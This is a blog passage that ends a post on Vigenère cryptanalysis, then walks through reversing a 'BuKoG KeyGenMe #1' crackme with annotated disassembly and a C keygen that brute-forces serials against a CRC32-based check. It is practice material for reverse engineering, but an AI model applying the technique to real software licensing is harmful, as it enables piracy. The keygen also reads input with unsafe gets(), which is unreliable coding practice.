In the sources I present, I sorted the frequencies in order to show them on screen. It isn't a step of the decoding.

There is a mitigation against Vigenère code breaking, use a key as long as the text, or the Vernam Code which is more commonly known as the one time pad code. The problem with one time pad code is the management and distribution of keys.


The code isn't clean at all but I release it for interested people as if I don't, it will be forgotten in my hard drive.

Hope you enjoy it.

m_101

- Source code : http://rapidshare.com/files/398364832/cryptanalysis.tar.gz.html
MD5: CF5BA403FB9D9106FDF51D5AEB33C526

mercredi 2 juin 2010

BuKoG KeyGenMe #1

Today, I ate some little keygenme, quite interesting in fact for how it was conceived.

First of all, since it's level 2 :
- no packer
- no obfuscator
- no protections but serial checking

It was pretty straightforward to find the serial checking routine. It's located in DialogFunc().

From there, we just need to identify username and serial fields using manual boron tagging.
After that, stumble upon an interesting routine :

.text:004010FB serial_check_wrapper proc near          ; CODE XREF: DialogFunc+93
.text:004010FB                 call    serial_check
.text:00401100                 retn
.text:00401100 serial_check_wrapper endp

As we can see, it's wrapping a call to some routine, which is in fact the serial checking routine.
Why is this wrapped? We'll see that later ;) .
Anyway, the serial checking routine is as followed :

.text:00401200 serial_check    proc near               ; CODE XREF: serial_check_wrapper
.text:00401200                 push    offset username
.text:00401205                 call    hash
.text:0040120A                 push    eax
.text:0040120B                 push    offset serial
.text:00401210                 call    hash
.text:00401215                 pop     ebx
.text:00401216                 sub     ebx, eax
.text:00401218                 mov     [ebp-8], bl     ; change return address
.text:0040121B                 mov     eax, 0
.text:00401220                 retn
.text:00401220 serial_check    endp

Having identified the username and serial buffers previously, it's get a lot easier.
We see that the return address depend on the last byte of the following operation : hash(username) - hash(serial) .
Since a byte contains 256 values, it means that we'll have 256 return values too.

We don't need to launch the crackme yet. Static analysis is a bit harder but way more challenging :) .
So we called serial_check_wrapper() located at address 0x004010FB.
We should return to 0x00401100 after the serial_check() routine but since we modify the last byte, it never happens.
The address we return should be of the form : 0x004011XX where XX is our modified byte.

Looking after the serial_check_wrapper() routine, we see a bunch of returns and an interesting line around 0x00401113.
So 255 out of 256 we get the "Wrong Serial" message.
Before making the keygen, we need to analyse the hash() function.

The hash function is as follow :
.text:00401247 hash            proc near               ; CODE XREF: serial_check+5
.text:00401247                                         ; serial_check+10
.text:00401247
.text:00401247 str             = dword ptr  8
.text:00401247
.text:00401247                 push    ebp
.text:00401248                 mov     ebp, esp
.text:0040124A                 mov     eax, 0FFFFFFFFh
.text:0040124F                 mov     esi, [ebp+str]
.text:00401252                 xor     edx, edx
.text:00401254
.text:00401254 loc_401254:                             ; CODE XREF: hash+2D
.text:00401254                 mov     ebx, eax
.text:00401256                 shr     ebx, 8
.text:00401259                 mov     ecx, eax
.text:0040125B                 and     ecx, 0FFh
.text:00401261                 mov     dl, [esi]
.text:00401263                 cmp     dl, 0
.text:00401266                 jz      short loc_401276
.text:00401268                 xor     edx, ecx
.text:0040126A                 xor     ebx, dword_4030CC[edx*4]
.text:00401271                 mov     eax, ebx
.text:00401273                 inc     esi
.text:00401274                 jmp     short loc_401254
.text:00401276 ; ---------------------------------------------------------------------------
.text:00401276
.text:00401276 loc_401276:                             ; CODE XREF: hash+1F
.text:00401276                 xor     eax, 0FFFFFFFFh
.text:00401279                 leave
.text:0040127A                 retn    4
.text:0040127A hash            endp

We can see here that it's using some array.
Where is it generated?
We can easily try to locate it using cross referencing, it happens that only hash() use it.
Let's see the data section. Just before the used array, there is an hInstance variable.
Cross referencing it, happens to land us in a CRC32 802.3 routine :

.text:00401221 crc32_ieee8023  proc near               ; CODE XREF: start
.text:00401221                 mov     ecx, 100h
.text:00401226                 mov     edx, 0EDB88320h
.text:0040122B
.text:0040122B loc_40122B:                             ; CODE XREF: crc32_ieee8023+23
.text:0040122B                 lea     eax, [ecx-1]
.text:0040122E                 push    ecx
.text:0040122F                 mov     ecx, 8
.text:00401234
.text:00401234 loc_401234:                             ; CODE XREF: crc32_ieee8023:loc_40123A
.text:00401234                 shr     eax, 1
.text:00401236                 jnb     short loc_40123A
.text:00401238                 xor     eax, edx
.text:0040123A
.text:0040123A loc_40123A:                             ; CODE XREF: crc32_ieee8023+15
.text:0040123A                 loop    loc_401234
.text:0040123C                 pop     ecx
.text:0040123D                 mov     hInstance[ecx*4], eax
.text:00401244                 loop    loc_40122B
.text:00401246                 retn
.text:00401246 crc32_ieee8023  endp

The idenfitication process of this function went through reversing and searching about that magic number : 0x0EDB88320.

So we have all we need for a keygen :
- hash() use crc32 802.3 table
- serial_check() returns to 0x004011XX
- XX must be equal to 0x13 if we want correct message
- (hash(username) - hash(serial)) & 0xFF must be equal to 0x13

Using all this, I used the bruteforce approach. I only bruteforce the first 1000 numbers but it's enough.
Here is the keygen :

// BuKoBG Keygenme #1

#include 
#include 

// crc32
unsigned int* crc32 (unsigned int polynom) {
    unsigned short int carry;
    int i, j;
    size_t n;
    unsigned int *crc32_table;
      
    n = 256;
    crc32_table = calloc (n, sizeof(*crc32_table));
    if (!crc32_table)
        return NULL;
    
    for (i = n - 1; i >= 0; i--) {
        crc32_table[i] = i;
        for (j = 7; j >= 0; j--) {
            carry = crc32_table[i] & 1;
            crc32_table[i] >>= 1;
            if (carry)
                crc32_table[i] ^= polynom;
        }
    }

    return crc32_table;
}

// hash
unsigned int hash (unsigned char *str, size_t len) {
    size_t i, index;
    unsigned int hashed = -1, *hashtable;
    
    // check pointers
    if (!str || !len)
        return -1;

    // generate crc32 IEEE 802.3 table
    hashtable = crc32(0xedb88320);

    // generate serial
    i = 0;
    index = 0;
    while (str[i] && i < len) {
        index = str[i] ^ (hashed & 0xff);
        hashed = (hashed >> 8) ^ hashtable[index];
        ++i;
    }

    hashed ^= -1;
    
    // clean up
    free(hashtable);

    return hashed;
}

// keygen
unsigned int keygen (unsigned char *username, size_t userlen) {
    unsigned int hash1, hash2, key = -1, licence, serial;
    unsigned char serial_str[4] = {0};
    size_t seriallen = 4;

    hash1 = hash (username, userlen);
    
    // bruteforce serial
    for (licence = 0, serial = 0; (licence & 0xff) != 0x13; serial++) {
        // convert integer to string
        snprintf(serial_str, seriallen, "%03u", serial);
        hash2 = hash (serial_str, seriallen);
        licence = hash1 - hash2;
    }

    return --serial;
}

int main (int argc, char *argv[]) {
    unsigned char username[256] = {0};
    unsigned int serial;
    size_t len = 256;

    printf("Username : ");
    gets(username);
    serial = keygen (username, len);
    // limit search to first 1000 numbers
    if (serial < 1000)
        printf("\nSerial   : %03u\n", serial);
    else
        printf("No serial found\n");

    return 0;
}

Hope you enjoyed this small snack :) .

m_101

- link : BuKoG KeyGenMe #1